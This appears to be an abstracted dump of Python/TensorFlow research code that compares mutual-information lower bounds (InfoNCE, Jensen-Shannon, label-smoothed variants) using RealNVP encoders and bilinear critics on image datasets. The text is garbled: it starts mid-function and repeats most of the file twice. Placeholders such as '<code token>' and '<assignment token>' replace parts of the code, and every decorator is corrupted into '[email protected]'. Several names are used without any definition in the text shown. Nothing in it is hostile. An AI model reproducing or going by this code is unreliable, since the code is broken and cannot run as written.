batch_size = tf.cast(scores.shape[0], tf.float32)\n joint_term = tf.reduce_mean(input_tensor=tf.linalg.diag_part(scores))\n marg_term = tf.exp(reduce_logmeanexp_nodiag(scores))\n return 1.0 + joint_term - marg_term\n\n\ndef nwj_lower_bound(scores):\n return tuba_lower_bound(scores - 1.0)\n\n\[email protected]\ndef js_fgan_lower_bound(f):\n \"\"\"Lower bound on Jensen-Shannon divergence from Nowozin et al. (2016).\"\"\"\n f_diag = tf.linalg.tensor_diag_part(f)\n first_term = tf.reduce_mean(-tf.nn.softplus(-f_diag))\n n = tf.cast(f.shape[0], tf.float32)\n second_term = (tf.reduce_sum(tf.nn.softplus(f)) - tf.reduce_sum(tf.nn.\n softplus(f_diag))) / (n * (n - 1.0))\n return first_term - second_term\n\n\[email protected]\ndef infonce_lower_bound(scores):\n \"\"\"InfoNCE lower bound from van den Oord et al. (2018).\"\"\"\n nll = tf.reduce_mean(input_tensor=tf.linalg.diag_part(scores) - tf.\n reduce_logsumexp(input_tensor=scores, axis=1))\n mi = tf.math.log(tf.cast(scores.shape[0], tf.float32)) + nll\n return mi\n\n\[email protected]\ndef our_lower_bound(scores):\n \"\"\"Our lower bound\"\"\"\n batch_size = tf.cast(scores.shape[0], tf.float32)\n joint_term = tf.reduce_mean(input_tensor=tf.linalg.diag_part(scores))\n scores_sq = scores ** 2\n marg_num = batch_size * (batch_size - 1.0)\n marg_term = tf.reduce_sum(input_tensor=scores_sq) - tf.reduce_sum(\n input_tensor=tf.linalg.diag_part(scores_sq))\n marg_term = marg_term / marg_num\n return joint_term - 0.5 * marg_term\n\n\[email protected]\ndef skew_js_fgan_lower_bound(f):\n \"\"\"skewed js lower bound (true cross entropy)\"\"\"\n n = tf.cast(f.shape[0], tf.float32)\n alpha = 1 / n\n f_diag = tf.linalg.tensor_diag_part(f)\n first_term = tf.reduce_mean(-tf.nn.softplus(-f_diag))\n second_term = (tf.reduce_sum(tf.nn.softplus(f)) - tf.reduce_sum(tf.nn.\n softplus(f_diag))) / (n * (n - 1.0))\n return alpha * first_term - (1 - alpha) * second_term\n\n\[email protected]\ndef label_smooth_pcc(f):\n \"\"\" pcc with label smoothing trick\"\"\"\n n = f.shape[0]\n labels = tf.eye(n)\n labels = tf.reshape(labels, [-1, 1])\n labels = (1.0 - args.smoothing) * labels + args.smoothing / 2\n pre_prob = tf.reshape(tf.sigmoid(f), [-1, 1])\n bce = tf.keras.losses.BinaryCrossentropy()\n return -bce(labels, pre_prob)\n\n\[email protected]\ndef predict_smooth_pcc(f):\n \"\"\" pcc with predictor smoothing trick\"\"\"\n n = f.shape[0]\n labels = tf.eye(n)\n labels = tf.reshape(labels, [-1, 1])\n pre_prob = tf.reshape(tf.sigmoid(f), [-1, 1])\n pre_prob = (1.0 - args.smoothing) * pre_prob + args.smoothing / 2\n bce = tf.keras.losses.BinaryCrossentropy()\n return -bce(labels, pre_prob)\n\n\[email protected]\ndef adap_label_smooth_pcc(f):\n n = f.shape[0]\n labels = tf.eye(n)\n labels = tf.reshape(labels, [-1, 1])\n pre_prob = tf.reshape(tf.sigmoid(f), [-1, 1])\n alpha = acti_func(pre_prob, a, b, c)\n new_labels = (1.0 - alpha) * labels + alpha / 2\n bce = tf.keras.losses.BinaryCrossentropy()\n return -bce(new_labels, pre_prob)\n\n\[email protected]\ndef adap_pred_smooth_pcc(f):\n n = f.shape[0]\n labels = tf.eye(n)\n labels = tf.reshape(labels, [-1, 1])\n pre_prob = tf.reshape(tf.sigmoid(f), [-1, 1])\n alpha = acti_func(pre_prob, a, b, c)\n pre_prob = (1.0 - alpha) * pre_prob + alpha / 2\n bce = tf.keras.losses.BinaryCrossentropy()\n return -bce(labels, pre_prob)\n\n\ndef logistic_fit(x_train, y_train, x_test, y_test):\n logistic_regressor = sk_linear.LogisticRegression(solver='saga',\n multi_class='multinomial', tol=0.1, C=10.0)\n from sklearn.preprocessing import MinMaxScaler\n scaler = MinMaxScaler()\n x_train = scaler.fit_transform(x_train)\n x_test = scaler.transform(x_test)\n logistic_regressor.fit(x_train, y_train.ravel())\n return logistic_regressor.score(x_test, y_test.ravel())\n\n\n<code token>\n\n\ndef map_fn(example):\n image = example[FEATURE_INPUT]\n image = tf.cast(image, tf.float32) / 255.0\n image = tf.reshape(image, [-1])\n label = example[FEATURE_LABEL]\n return {FEATURE_INPUT: image, FEATURE_LABEL: label}\n\n\ndef load_data(split):\n return tfds.load(TFDS_NAME, data_dir='/public/wangxu/data/', split=split\n ).cache().map(map_func=map_fn).shuffle(1000)\n\n\ndef tfds_to_np(dataset):\n features = list(tfds.as_numpy(dataset))\n images = np.stack([f[FEATURE_INPUT].ravel() for f in features])\n labels = np.stack([f[FEATURE_LABEL].ravel() for f in features])\n return images, labels\n\n\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n\n\ndef processed_train_data(dims, batch_size):\n dataset = load_data('train')\n dataset_batched = dataset.repeat().batch(batch_size, drop_remainder=True)\n get_next = tf.compat.v1.data.make_one_shot_iterator(dataset_batched\n ).get_next()\n features = get_next[FEATURE_INPUT]\n labels = get_next[FEATURE_LABEL]\n x_1, x_2 = tf.split(features, [dims, DIMS - dims], axis=-1)\n return x_1, x_2, labels\n\n\nclass MLP(tf.keras.Model):\n\n def __init__(self, layer_dimensions, shortcuts, dense_kwargs={}):\n super(MLP, self).__init__()\n self._layers = [tfkl.Dense(dimensions, **dense_kwargs) for\n dimensions in layer_dimensions[:-1]]\n dense_kwargs_copy = copy.deepcopy(dense_kwargs)\n dense_kwargs_copy['activation'] = None\n self._layers.append(tfkl.Dense(layer_dimensions[-1], **\n dense_kwargs_copy))\n self._shortcuts = shortcuts\n\n @property\n def layers(self):\n return self._layers\n\n def __call__(self, inputs):\n x = inputs\n for layer in self.layers:\n x = layer(x) + x if self._shortcuts else layer(x)\n return x\n\n\nclass LayerNorm(tfkl.Layer):\n \"\"\" Layer Normalization in the style of https://arxiv.org/abs/1607.06450 \"\"\"\n\n def __init__(self, scale_initializer='ones', bias_initializer='zeros',\n axes=[1, 2, 3], epsilon=1e-06, **kwargs):\n super(LayerNorm, self).__init__(**kwargs)\n self.epsilon = epsilon\n self.scale_initializer = tf.keras.initializers.get(scale_initializer)\n self.bias_initializer = tf.keras.initializers.get(bias_initializer)\n self.axes = axes\n\n def build(self, input_shape):\n self.scale = self.add_weight(shape=(input_shape[-1],), initializer=\n self.scale_initializer, trainable=True, name='{}_scale'.format(\n self.name))\n self.bias = self.add_weight(shape=(input_shape[-1],), initializer=\n self.bias_initializer, trainable=True, name='{}_bias'.format(\n self.name))\n self.built = True\n\n def call(self, x, mask=None):\n mean = tf.keras.backend.mean(x, axis=self.axes, keepdims=True)\n std = tf.keras.backend.std(x, axis=self.axes, keepdims=True)\n norm = (x - mean) * (1 / (std + self.epsilon))\n return norm * self.scale + self.bias\n\n def compute_output_shape(self, input_shape):\n return input_shape\n\n\nclass ConvNet(tf.keras.Sequential):\n\n def __init__(self, channels=64, kernel_size=5, input_dim=DIMS // 2,\n output_dim=100, activation=tf.nn.relu):\n super(ConvNet, self).__init__([tfkl.Reshape((14, 28, 1),\n input_shape=(input_dim,)), tfkl.Conv2D(channels, kernel_size,\n strides=2, padding='same', activation=activation), tfkl.Conv2D(\n 2 * channels, kernel_size, strides=2, padding='same',\n activation=activation), LayerNorm(), tfkl.\n GlobalAveragePooling2D(), tfkl.Dense(output_dim)])\n\n\n<import token>\n\n\nclass RealNVP(bijector_lib.Bijector):\n\n def __init__(self, num_masked, shift_and_log_scale_fn=None, bijector_fn\n =None, is_constant_jacobian=False, validate_args=False, name=None):\n name = name or 'real_nvp'\n if num_masked < 0:\n raise ValueError('num_masked must be a non-negative integer.')\n self._num_masked = num_masked\n self._input_depth = None\n if bool(shift_and_log_scale_fn) == bool(bijector_fn):\n raise ValueError(\n 'Exactly one of `shift_and_log_scale_fn` and `bijector_fn` should be specified.'\n )\n if shift_and_log_scale_fn:\n\n def _bijector_fn(x0, input_depth, **condition_kwargs):\n shift, log_scale = shift_and_log_scale_fn(x0, input_depth,\n **condition_kwargs)\n return affine_scalar.AffineScalar(shift=shift, scale=log_scale)\n bijector_fn = _bijector_fn\n if validate_args:\n bijector_fn = _validate_bijector_fn(bijector_fn)\n self._shift_and_log_scale_fn = shift_and_log_scale_fn\n self._bijector_fn = bijector_fn\n super(RealNVP, self).__init__(forward_min_event_ndims=1,\n is_constant_jacobian=is_constant_jacobian, validate_args=\n validate_args, name=name)\n\n def _cache_input_depth(self, x):\n if self._input_depth is None:\n self._input_depth = tf.compat.dimension_value(tensorshape_util.\n with_rank_at_least(x.shape, 1)[-1])\n if self._input_depth is None:\n raise NotImplementedError(\n 'Rightmost dimension must be known prior to graph execution.'\n )\n if self._num_masked >= self._input_depth:\n raise ValueError(\n 'Number of masked units must be smaller than the event size.'\n )\n\n def _forward(self, x, **condition_kwargs):\n self._cache_input_depth(x)\n x0, x1 = x[..., :self._num_masked], x[..., self._num_masked:]\n y1 = self._bijector_fn(x0, self._input_depth - self._num_masked, **\n condition_kwargs).forward(x1)\n y = tf.concat([x0, y1], axis=-1)\n return y\n\n def _inverse(self, y, **condition_kwargs):\n self._cache_input_depth(y)\n y0, y1 = y[..., :self._num_masked], y[..., self._num_masked:]\n x1 = self._bijector_fn(y0, self._input_depth - self._num_masked, **\n condition_kwargs).inverse(y1)\n x = tf.concat([y0, x1], axis=-1)\n return x\n\n def _forward_log_det_jacobian(self, x, **condition_kwargs):\n self._cache_input_depth(x)\n x0, x1 = x[..., :self._num_masked], x[..., self._num_masked:]\n return self._bijector_fn(x0, self._input_depth - self._num_masked,\n **condition_kwargs).forward_log_det_jacobian(x1, event_ndims=1)\n\n def _inverse_log_det_jacobian(self, y, **condition_kwargs):\n self._cache_input_depth(y)\n y0, y1 = y[..., :self._num_masked], y[..., self._num_masked:]\n return self._bijector_fn(y0, self._input_depth - self._num_masked,\n **condition_kwargs).inverse_log_det_jacobian(y1, event_ndims=1)\n\n\ndef real_nvp_default_template(hidden_layers, shift_only=False, activation=\n tf.nn.relu, name=None, *args, **kwargs):\n with tf.compat.v1.name_scope(name or 'real_nvp_default_template'):\n\n def _fn(x, output_units, **condition_kwargs):\n \"\"\"Fully connected MLP parameterized via `real_nvp_template`.\"\"\"\n if condition_kwargs:\n raise NotImplementedError(\n 'Conditioning not implemented in the default template.')\n if tensorshape_util.rank(x.shape) == 1:\n x = x[tf.newaxis, ...]\n reshape_output = lambda x: x[0]\n else:\n reshape_output = lambda x: x\n for units in hidden_layers:\n x = tf1.layers.dense(*args, inputs=x, units=units,\n activation=activation, **kwargs)\n x = tf1.layers.dense(*args, inputs=x, units=(1 if shift_only else\n 2) * output_units, activation=None, **kwargs)\n if shift_only:\n return reshape_output(x), None\n shift, log_scale = tf.split(x, 2, axis=-1)\n return reshape_output(shift), 1e-07 + tf.nn.softplus(reshape_output\n (log_scale))\n return tf1.make_template('real_nvp_default_template', _fn)\n\n\nclass RealNVPBijector(tf.keras.Model):\n\n def __init__(self, dimensions, n_couplings, hidden_layers, dense_kwargs):\n super(RealNVPBijector, self).__init__()\n permutations = [np.random.permutation(dimensions) for _ in range(\n n_couplings)]\n bijectors = []\n for permutation in permutations:\n bijectors.append(RealNVP(dimensions // 2,\n real_nvp_default_template(hidden_layers, **dense_kwargs)))\n bijectors.append(tfb.Permute(permutation))\n self._bijector = tfb.Chain(bijectors)\n\n def call(self, inputs):\n return self._bijector.forward(inputs)\n\n\nclass InnerProdCritic(tf.keras.Model):\n\n def call(self, x, y):\n return tf.matmul(x, y, transpose_b=True)\n\n\nclass BilinearCritic(tf.keras.Model):\n\n def __init__(self, feature_dim=100, **kwargs):\n super(BilinearCritic, self).__init__(**kwargs)\n self._W = tfkl.Dense(feature_dim, use_bias=False)\n\n def call(self, x, y):\n return tf.matmul(x, self._W(y), transpose_b=True)\n\n\nclass ConcatCritic(tf.keras.Model):\n\n def __init__(self, hidden_dim=200, layers=1, activation='relu', **kwargs):\n super(ConcatCritic, self).__init__(**kwargs)\n self._f = MLP([hidden_dim for _ in range(layers)] + [1], False, {\n 'activation': 'relu'})\n\n def call(self, x, y):\n batch_size = tf.shape(input=x)[0]\n x_tiled = tf.tile(x[None, :], (batch_size, 1, 1))\n y_tiled = tf.tile(y[:, None], (1, batch_size, 1))\n xy_pairs = tf.reshape(tf.concat((x_tiled, y_tiled), axis=2), [\n batch_size * batch_size, -1])\n scores = self._f(xy_pairs)\n return tf.transpose(a=tf.reshape(scores, [batch_size, batch_size]))\n\n\nclass SeparableCritic(tf.keras.Model):\n\n def __init__(self, hidden_dim=100, output_dim=100, layers=1, activation\n ='relu', **kwargs):\n super(SeparableCritic, self).__init__(**kwargs)\n self._f_x = MLP([hidden_dim for _ in range(layers)] + [output_dim],\n False, {'activation': activation})\n self._f_y = MLP([hidden_dim for _ in range(layers)] + [output_dim],\n False, {'activation': activation})\n\n def call(self, x, y):\n x_mapped = self._f_x(x)\n y_mapped = self._f_y(y)\n return tf.matmul(x_mapped, y_mapped, transpose_b=True)\n\n\ndef train(g1, g2, critic, loss_fn, learning_rate, batch_size=\n TRAIN_BATCH_SIZE, n_iters=15000, n_evals=15, compute_jacobian=False,\n noise_std=0.0, data_dimensions=DIMS // 2, n_iter=1, loss_name='InfoNCE'):\n \"\"\"Runs the training loop for a fixed model.\n\n Args:\n g1: Function, maps input1 to representation.\n g2: Function, maps input2 to representation.\n critic: Function, maps two representations to scalar.\n loss_fn: Function, mutual information estimator.\n learning_rate: Learning rate.\n batch_size: Training batch size.\n n_iters: Number of optimization iterations.\n n_evals: Number of model evaluations.\n compute_jacobian: Whether to estimate the singular values of the Jacobian.\n noise_std: Standard deviation for the Gaussian noise. Default is 0.0.\n data_dimensions: The dimension of the data. By default it's half of the\n original data dimension.\n Returns:\n Returns and instance of `Results` tuple.\n \"\"\"\n x_1, x_2, _ = processed_train_data(data_dimensions, batch_size)\n if noise_std > 0.0:\n assert x_1.shape == x_2.shape, 'X1 and X2 shapes must agree to add noise!'\n noise = noise_std * tf.random.normal(x_1.shape)\n x_1 += noise\n x_2 += noise\n code_1, code_2 = g1(x_1), g2(x_2)\n critic_matrix = critic(code_1, code_2)\n if compute_jacobian:\n jacobian = gradients.batch_jacobian(code_1, x_1, use_pfor=False)\n singular_values = tf.linalg.svd(jacobian, compute_uv=False)\n loss = loss_fn(critic_matrix)\n optimizer = tf.compat.v1.train.AdamOptimizer(learning_rate=learning_rate)\n if not loss_name == 'wpc':\n optimizer_op = optimizer.minimize(loss)\n else:\n gvs = optimizer.compute_gradients(loss)\n capped_gvs = [(tf.clip_by_value(grad, -1.0, 1.0), var) for grad,\n var in gvs]\n optimizer_op = optimizer.apply_gradients(capped_gvs)\n with tf.compat.v1.Session() as session:\n session.run(tf.compat.v1.global_variables_initializer())\n data_ph = tf.compat.v1.placeholder(tf.float32, shape=[None,\n data_dimensions])\n data_ph_noisy = data_ph + noise_std * tf.random.normal(tf.shape(\n input=data_ph))\n codes = g1(data_ph_noisy)\n (training_losses, testing_losses, classification_accuracies, iters,\n sigmas) = [], [], [], [], []\n for iter_n in range(n_iters):\n if iter_n % (n_iters // n_evals) == 0:\n iters.append(iter_n)\n accuracy = get_classification_accuracy(session, codes,\n data_ph, data_dimensions)\n classification_accuracies.append(accuracy)\n testing_losses.append(get_testing_loss(x_test, session,\n loss, data_ph, data_dimensions))\n if compute_jacobian:\n sigmas.append(session.run(singular_values))\n print(\n '{:d}th iter Loss_name {} Step {:>10d} fit {:>.5f} DS {} B {:d} lr {:f}'\n .format(n_iter, loss_name, iter_n, accuracy, args.\n dataset, args.batch_size, args.lr))\n loss_np, _ = session.run([loss, optimizer_op])\n training_losses.append(loss_np)\n return Results(iterations=iters, training_losses=training_losses,\n testing_losses=testing_losses, classification_accuracies=\n classification_accuracies, singular_values=sigmas)\n\n\ndef run_sweep(nets, critics, loss_fns, exp_name, **kwargs):\n \"\"\"Runs the sweep across encoder networks, critics, and the estimators.\"\"\"\n grid = itertools.product(nets, critics, loss_fns)\n data_frames = []\n results_with_singular_values = []\n for nets_name, critic_name, loss_name in grid:\n print('[New experiment] encoder: {}, critic: {}, loss: {}'.format(\n nets_name, critic_name, loss_name))\n with tf.Graph().as_default():\n g1, g2 = nets[nets_name]()\n critic = critics[critic_name]()\n loss_fn = loss_fns[loss_name]\n results_per_run = []\n for n in range(NRUNS):\n try:\n print('{:d}th run, loss: {}'.format(n, loss_name))\n if loss_name == 'drfc' and TFDS_NAME == 'cifar10':\n results = train(g1, g2, critic, loss_fn, **kwargs,\n learning_rate=LEARNING_RATE, n_iter=n,\n loss_name=loss_name)\n else:\n results = train(g1, g2, critic, loss_fn, **kwargs,\n learning_rate=LEARNING_RATE, n_iter=n,\n loss_name=loss_name)\n results_per_run.append(results)\n except Exception as ex:\n print('Run {} failed! Error: {}'.format(n, ex))\n for i, result in enumerate(results_per_run):\n data_frames.append(convert_to_data_frame(result, exp_name,\n nets_name, critic_name, loss_name, i))\n if kwargs.get('compute_jacobian', False):\n results_with_singular_values.append((ResultsConfig(\n nets_name, critic_name, loss_name), results_per_run))\n return {'df': pd.concat(data_frames), 'singular_values':\n results_with_singular_values}\n\n\ndef run_all_experiments():\n tf.compat.v1.reset_default_graph()\n wpc_loss = lambda x: -infonce_lower_bound(x)\n cpc_loss = lambda x: -infonce_lower_bound(x)\n drfc_loss = lambda x: -our_lower_bound(x)\n pcc_loss = lambda x: -js_fgan_lower_bound(x)\n skew_pcc_loss = lambda x: -skew_js_fgan_lower_bound(x)\n ls_pcc_loss = lambda x: -label_smooth_pcc(x)\n pre_ls_pcc_loss = lambda x: -predict_smooth_pcc(x)\n adap_pred_smooth_pcc_loss = lambda x: -adap_pred_smooth_pcc(x)\n adap_label_smooth_pcc_loss = lambda x: -adap_label_smooth_pcc(x)\n loss_fcts = {'pcc': pcc_loss, 'cpc': cpc_loss, 'ls_pcc': ls_pcc_loss,\n 'prels_pcc': pre_ls_pcc_loss, 'adap_pred_pcc':\n adap_pred_smooth_pcc_loss, 'adap_label_pcc': adap_label_smooth_pcc_loss\n }\n kwargs = dict(shift_only=True, activation=lambda x: tf.nn.relu(x),\n kernel_initializer=tf.compat.v1.initializers.truncated_normal(\n stddev=0.0001), bias_initializer='zeros')\n nets = {'realnvp': lambda : (RealNVPBijector(DIMS // 2, n_couplings=30,\n hidden_layers=[512, 512], dense_kwargs=kwargs), RealNVPBijector(\n DIMS // 2, n_couplings=30, hidden_layers=[512, 512], dense_kwargs=\n kwargs))}\n critics = {'bilinear': lambda : BilinearCritic(feature_dim=DIMS // 2)}\n return run_sweep(nets, critics, loss_fcts, 'invertible', n_iters=21000,\n n_evals=21)\n\n\n<code token>\n", "<import token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n\n\ndef acti_func(x, a, b, c):\n x = tf.stop_gradient(x)\n alpha = tf.zeros_like(x)\n alpha = tf.where(x <= b, -a * x / b + a, alpha)\n alpha = tf.where((x > b) & (x < c), 0.0, alpha)\n alpha = tf.where(x >= c, a * x / (1 - c) + a * c / (c - 1), alpha)\n return alpha\n\n\ndef convert_to_data_frame(result, exp_name, nets, critic, loss, seed):\n \"\"\"Convert results class to a data frame.\"\"\"\n label = '{}, {}, {}'.format(nets, critic, loss)\n rows = list(zip(itertools.repeat(exp_name), itertools.repeat(nets),\n itertools.repeat(critic), itertools.repeat(loss), itertools.repeat(\n seed), result.iterations, [(-loss) for loss in result.\n testing_losses], result.classification_accuracies, itertools.repeat\n (label)))\n df_eval = pd.DataFrame(rows, columns=('exp_name', 'nets', 'Critic',\n 'Estimator', 'run', 'iteration', 'bound_value', 'accuracy', 'label'))\n df_eval['Estimator'] = df_eval['Estimator'].replace(to_replace={'cpc':\n '$CPC$', 'pcc': '$PCC$', 'drfc': '$D-RFC$', 'wpc': '$WPC$'})\n df_eval['Critic'] = df_eval['Critic'].replace(to_replace={'concat':\n 'MLP', 'separable': 'Separable', 'innerprod': 'Inner product',\n 'bilinear': 'Bilinear'})\n return df_eval\n\n\ndef apply_default_style(ax):\n ax.set_xlim([0, 20001])\n ax.get_xaxis().set_major_formatter(FuncFormatter(lambda x, p: format(\n int(x / 1000), ',')))\n ax.set_xlabel('Training steps (in thousands)')\n plt.tick_params(top=False, right=False, bottom=False, left=False)\n handles, labels = ax.get_legend_handles_labels()\n plt.legend(loc='lower right', handles=handles[1:], labels=labels[1:])\n\n\ndef get_testing_loss(x_array, session, loss, data_ph, dims, batch_size=512):\n total_loss = 0\n for i in range(0, x_array.shape[0], batch_size):\n x_slice = x_array[i:i + batch_size, :dims]\n total_loss += x_slice.shape[0] * session.run(loss, feed_dict={\n data_ph: x_slice})\n return total_loss / x_array.shape[0]\n\n\ndef get_classification_accuracy(session, codes, data_ph, dims):\n x_train_mapped = map_data(x_train, session, codes, data_ph, dims)\n x_test_mapped = map_data(x_test, session, codes, data_ph, dims)\n accuracy = logistic_fit(x_train_mapped, y_train, x_test_mapped, y_test)\n return accuracy\n\n\ndef map_data(x_array, session, codes, data_ph, dims, batch_size=512):\n x_mapped = []\n for i in range(0, x_array.shape[0], batch_size):\n x_mapped.append(session.run(codes, feed_dict={data_ph: x_array[i:i +\n batch_size, :dims]}))\n return np.concatenate(x_mapped, axis=0)\n\n\ndef reduce_logmeanexp_nodiag(x, axis=None):\n batch_size = x.shape[0]\n logsumexp = tf.reduce_logsumexp(input_tensor=x - tf.linalg.tensor_diag(\n np.inf * tf.ones(batch_size)), axis=axis)\n if axis:\n num_elem = batch_size - 1.0\n else:\n num_elem = batch_size * (batch_size - 1.0)\n return logsumexp - tf.math.log(num_elem)\n\n\ndef tuba_lower_bound(scores, log_baseline=None):\n if log_baseline is not None:\n scores -= log_baseline[:, None]\n batch_size = tf.cast(scores.shape[0], tf.float32)\n joint_term = tf.reduce_mean(input_tensor=tf.linalg.diag_part(scores))\n marg_term = tf.exp(reduce_logmeanexp_nodiag(scores))\n return 1.0 + joint_term - marg_term\n\n\ndef nwj_lower_bound(scores):\n return tuba_lower_bound(scores - 1.0)\n\n\[email protected]\ndef js_fgan_lower_bound(f):\n \"\"\"Lower bound on Jensen-Shannon divergence from Nowozin et al. (2016).\"\"\"\n f_diag = tf.linalg.tensor_diag_part(f)\n first_term = tf.reduce_mean(-tf.nn.softplus(-f_diag))\n n = tf.cast(f.shape[0], tf.float32)\n second_term = (tf.reduce_sum(tf.nn.softplus(f)) - tf.reduce_sum(tf.nn.\n softplus(f_diag))) / (n * (n - 1.0))\n return first_term - second_term\n\n\[email protected]\ndef infonce_lower_bound(scores):\n \"\"\"InfoNCE lower bound from van den Oord et al. (2018).\"\"\"\n nll = tf.reduce_mean(input_tensor=tf.linalg.diag_part(scores) - tf.\n reduce_logsumexp(input_tensor=scores, axis=1))\n mi = tf.math.log(tf.cast(scores.shape[0], tf.float32)) + nll\n return mi\n\n\[email protected]\ndef our_lower_bound(scores):\n \"\"\"Our lower bound\"\"\"\n batch_size = tf.cast(scores.shape[0], tf.float32)\n joint_term = tf.reduce_mean(input_tensor=tf.linalg.diag_part(scores))\n scores_sq = scores ** 2\n marg_num = batch_size * (batch_size - 1.0)\n marg_term = tf.reduce_sum(input_tensor=scores_sq) - tf.reduce_sum(\n input_tensor=tf.linalg.diag_part(scores_sq))\n marg_term = marg_term / marg_num\n return joint_term - 0.5 * marg_term\n\n\[email protected]\ndef skew_js_fgan_lower_bound(f):\n \"\"\"skewed js lower bound (true cross entropy)\"\"\"\n n = tf.cast(f.shape[0], tf.float32)\n alpha = 1 / n\n f_diag = tf.linalg.tensor_diag_part(f)\n first_term = tf.reduce_mean(-tf.nn.softplus(-f_diag))\n second_term = (tf.reduce_sum(tf.nn.softplus(f)) - tf.reduce_sum(tf.nn.\n softplus(f_diag))) / (n * (n - 1.0))\n return alpha * first_term - (1 - alpha) * second_term\n\n\[email protected]\ndef label_smooth_pcc(f):\n \"\"\" pcc with label smoothing trick\"\"\"\n n = f.shape[0]\n labels = tf.eye(n)\n labels = tf.reshape(labels, [-1, 1])\n labels = (1.0 - args.smoothing) * labels + args.smoothing / 2\n pre_prob = tf.reshape(tf.sigmoid(f), [-1, 1])\n bce = tf.keras.losses.BinaryCrossentropy()\n return -bce(labels, pre_prob)\n\n\[email protected]\ndef predict_smooth_pcc(f):\n \"\"\" pcc with predictor smoothing trick\"\"\"\n n = f.shape[0]\n labels = tf.eye(n)\n labels = tf.reshape(labels, [-1, 1])\n pre_prob = tf.reshape(tf.sigmoid(f), [-1, 1])\n pre_prob = (1.0 - args.smoothing) * pre_prob + args.smoothing / 2\n bce = tf.keras.losses.BinaryCrossentropy()\n return -bce(labels, pre_prob)\n\n\[email protected]\ndef adap_label_smooth_pcc(f):\n n = f.shape[0]\n labels = tf.eye(n)\n labels = tf.reshape(labels, [-1, 1])\n pre_prob = tf.reshape(tf.sigmoid(f), [-1, 1])\n alpha = acti_func(pre_prob, a, b, c)\n new_labels = (1.0 - alpha) * labels + alpha / 2\n bce = tf.keras.losses.BinaryCrossentropy()\n return -bce(new_labels, pre_prob)\n\n\[email protected]\ndef adap_pred_smooth_pcc(f):\n n = f.shape[0]\n labels = tf.eye(n)\n labels = tf.reshape(labels, [-1, 1])\n pre_prob = tf.reshape(tf.sigmoid(f), [-1, 1])\n alpha = acti_func(pre_prob, a, b, c)\n pre_prob = (1.0 - alpha) * pre_prob + alpha / 2\n bce = tf.keras.losses.BinaryCrossentropy()\n return -bce(labels, pre_prob)\n\n\ndef logistic_fit(x_train, y_train, x_test, y_test):\n logistic_regressor = sk_linear.LogisticRegression(solver='saga',\n multi_class='multinomial', tol=0.1, C=10.0)\n from sklearn.preprocessing import MinMaxScaler\n scaler = MinMaxScaler()\n x_train = scaler.fit_transform(x_train)\n x_test = scaler.transform(x_test)\n logistic_regressor.fit(x_train, y_train.ravel())\n return logistic_regressor.score(x_test, y_test.ravel())\n\n\n<code token>\n\n\ndef map_fn(example):\n image = example[FEATURE_INPUT]\n image = tf.cast(image, tf.float32) / 255.0\n image = tf.reshape(image, [-1])\n label = example[FEATURE_LABEL]\n return {FEATURE_INPUT: image, FEATURE_LABEL: label}\n\n\ndef load_data(split):\n return tfds.load(TFDS_NAME, data_dir='/public/wangxu/data/', split=split\n ).cache().map(map_func=map_fn).shuffle(1000)\n\n\ndef tfds_to_np(dataset):\n features = list(tfds.as_numpy(dataset))\n images = np.stack([f[FEATURE_INPUT].ravel() for f in features])\n labels = np.stack([f[FEATURE_LABEL].ravel() for f in features])\n return images, labels\n\n\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<function token>\n\n\nclass MLP(tf.keras.Model):\n\n def __init__(self, layer_dimensions, shortcuts, dense_kwargs={}):\n super(MLP, self).__init__()\n self._layers = [tfkl.Dense(dimensions, **dense_kwargs) for\n dimensions in layer_dimensions[:-1]]\n dense_kwargs_copy = copy.deepcopy(dense_kwargs)\n dense_kwargs_copy['activation'] = None\n self._layers.append(tfkl.Dense(layer_dimensions[-1], **\n dense_kwargs_copy))\n self._shortcuts = shortcuts\n\n @property\n def layers(self):\n return self._layers\n\n def __call__(self, inputs):\n x = inputs\n for layer in self.layers:\n x = layer(x) + x if self._shortcuts else layer(x)\n return x\n\n\nclass LayerNorm(tfkl.Layer):\n \"\"\" Layer Normalization in the style of https://arxiv.org/abs/1607.06450 \"\"\"\n\n def __init__(self, scale_initializer='ones', bias_initializer='zeros',\n axes=[1, 2, 3], epsilon=1e-06, **kwargs):\n super(LayerNorm, self).__init__(**kwargs)\n self.epsilon = epsilon\n self.scale_initializer = tf.keras.initializers.get(scale_initializer)\n self.bias_initializer = tf.keras.initializers.get(bias_initializer)\n self.axes = axes\n\n def build(self, input_shape):\n self.scale = self.add_weight(shape=(input_shape[-1],), initializer=\n self.scale_initializer, trainable=True, name='{}_scale'.format(\n self.name))\n self.bias = self.add_weight(shape=(input_shape[-1],), initializer=\n self.bias_initializer, trainable=True, name='{}_bias'.format(\n self.name))\n self.built = True\n\n def call(self, x, mask=None):\n mean = tf.keras.backend.mean(x, axis=self.axes, keepdims=True)\n std = tf.keras.backend.std(x, axis=self.axes, keepdims=True)\n norm = (x - mean) * (1 / (std + self.epsilon))\n return norm * self.scale + self.bias\n\n def compute_output_shape(self, input_shape):\n return input_shape\n\n\nclass ConvNet(tf.keras.Sequential):\n\n def __init__(self, channels=64, kernel_size=5, input_dim=DIMS // 2,\n output_dim=100, activation=tf.nn.relu):\n super(ConvNet, self).__init__([tfkl.Reshape((14, 28, 1),\n input_shape=(input_dim,)), tfkl.Conv2D(channels, kernel_size,\n strides=2, padding='same', activation=activation), tfkl.Conv2D(\n 2 * channels, kernel_size, strides=2, padding='same',\n activation=activation), LayerNorm(), tfkl.\n GlobalAveragePooling2D(), tfkl.Dense(output_dim)])\n\n\n<import token>\n\n\nclass RealNVP(bijector_lib.Bijector):\n\n def __init__(self, num_masked, shift_and_log_scale_fn=None, bijector_fn\n =None, is_constant_jacobian=False, validate_args=False, name=None):\n name = name or 'real_nvp'\n if num_masked < 0:\n raise ValueError('num_masked must be a non-negative integer.')\n self._num_masked = num_masked\n self._input_depth = None\n if bool(shift_and_log_scale_fn) == bool(bijector_fn):\n raise ValueError(\n 'Exactly one of `shift_and_log_scale_fn` and `bijector_fn` should be specified.'\n )\n if shift_and_log_scale_fn:\n\n def _bijector_fn(x0, input_depth, **condition_kwargs):\n shift, log_scale = shift_and_log_scale_fn(x0, input_depth,\n **condition_kwargs)\n return affine_scalar.AffineScalar(shift=shift, scale=log_scale)\n bijector_fn = _bijector_fn\n if validate_args:\n bijector_fn = _validate_bijector_fn(bijector_fn)\n self._shift_and_log_scale_fn = shift_and_log_scale_fn\n 